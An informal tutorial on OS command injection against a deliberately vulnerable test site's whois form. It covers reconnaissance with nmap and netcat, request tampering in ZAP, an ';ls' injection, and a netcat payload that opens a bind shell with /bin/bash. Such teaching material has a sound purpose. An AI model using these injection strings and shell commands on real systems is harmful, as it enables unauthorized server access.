OS Command Injection- From Web App To System

Hello, and welcome to my OS Command Injection guide. We will be talking about how this vulnerability occurs, and also what we can do after successfully exploiting this vulnerability. OS Command Injection (also called OS Command Execution) occurs when an attacker tries to execute system-level commands through a vulnerable application. For this guide, the target will be this site-

http://www.webscantest.com/

And the vulnerable application is located here-

http://www.webscantest.com/osrun/whois.php

As you can see, the vulnerable application is a whois script for domain lookups. But what is vulnerable about it?  Let's take a look.

So pretty much, in a nutshell, this is what the web server will look like-

        *Vulnerable Application*

             ***Web Site***

        *********Server*********

*********Operating System***********

Yes, I am very aware this is a shitty illustration. Let me make it more simple-

 *********whois.php************

 ****www.webscantest.com****

************Apache**************

*************Linux**********

So pretty much, when OS Command Injection is occurring, the data we use for the vulnerable application is being passed all the way down to the operating system. This means that we can execute Linux commands on the machine that is hosting the web site.

So what could we do, then? Well, first navigate to the site. You should see something like this-

Looking at this page, we can see that there is a field for text, and a button to submit the text we enter and then retrieve the results. But how can we test this application for OS command injection? First, let's find out what kind of operating system the remote host is running.  Just go to a Terminal and fire up nmap-

nmap -O www.webscantest.com

You should get some output like this-

So, judging by our output, we can safely assume that the remote host (www.webscantest.com) is running Linux. Feel free to fire up xprobe for a second opinion. And while we're at it, let's find out what kind of server they're running-

netcat -vv www.webscantest.com 80

Once you have an open connection to the server, type-

GET / HTTP/1.0

After you type the above, hit the Return key (Enter) twice. You should get this as output-

Judging by the output, we know the target is running an Apache server powered by PHP 5.3.5.

So you want to inject commands, eh? Well, since we know that the target host is running Linux, you should definitely brush up on your knowledge of the Linux command line. But now we need some sort of intercepting proxy. This would include burpsuite, web scarab, or my favorite, ZAP.

ZAP stands for Zed Attack Proxy, a tool created by OWASP. It is able to spider web pages, perform active scans, brute force, perform port scans, and fuzz web pages. But most importantly, it let's us modify HTTP requests on the fly, which will allow us to determine if the web application is vulnerable to OS Command Injection. You can download ZAP here-

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

Make sure you configure ZAP to be your proxy. By default, ZAP's local proxy configuration is set to localhost:8080. To see ZAP's proxy configuration, go to Tools-->Options-->Local Proxy.

You also have to set your browser to use the same Manual Proxy Settings that ZAP is using. For me, since I am using Firefox, I go to Edit-->Preferences-->Advanced-->Network-->Settings. From there you can use your Manual Proxy Configuration and set the host and port to localhost:8080. Then click the little green arrow pointing to the right in the ZAP window. This will set a breakpoint on a requests we send, so we can modify them before they are executed and we get a response.

Now go back to the web page, and just click the "Lookup" button. You will see that your browser is busy with something. This is because we have the breakpoint set in ZAP. The request will not be executed until we forward it to the server.


Open up your ZAP window, and you should see the request we  are trying to make. In the first window, we see the request (POST). In the window right under it, we see a parameter called "domain=". It has no value, because we never entered anything into the text box in the web page when we clicked the "Lookup" button, remember? Well, let's modify that parameter by assigning a value to it-

domain=;ls

Since we know the target is running Linux, we will use Linux command line syntax (;ls) to see if there are any files in the current directory we can view. Now click the little blue play-looking button to forward the request to the server. Now you can see that there are some files embedded in the web page. The application is vulnerable to OS Command Injection!


You are probably thinking to yourself, "Wow, its vulnerable, but this is kinda lame". Well, how lame would it be if we had a shell on the server? Hmm? Your not such a smart ass now, are you? :)

What we are going to do is set up a reverse netcat shell. Since we can execute commands on the server, we can "plant" a listener on the server (since all of our commands are being directly passed to the operating system), and then connect to it. Sounds cool, huh? To do this, we do what we did before- Go to the web page, make sure there is a break point in ZAP, and then click the "Lookup" button without inputting anything. Then we capture the "domain=" parameter. What you want to do is make it look like this-

domain=;netcat -v -e '/bin/bash' -l -p 31337

The -v switch is for verbosity

The -e switch is to run a program when a connection is made (in this case, a bash shell).

The -l switch is to listen for a connection

The -p switch is to assign a port to listen on (in this case, 31337).

Then click the red arrow you are using for a break point so that it turns green again, and then forward the request. The browser stays busy, because it's waiting for a connection from you. :)

Type in-

netcat -vv www.webscantest.com 31337

Here is the output-

Congratulations! You have a shell!

Happy Hacking!  :)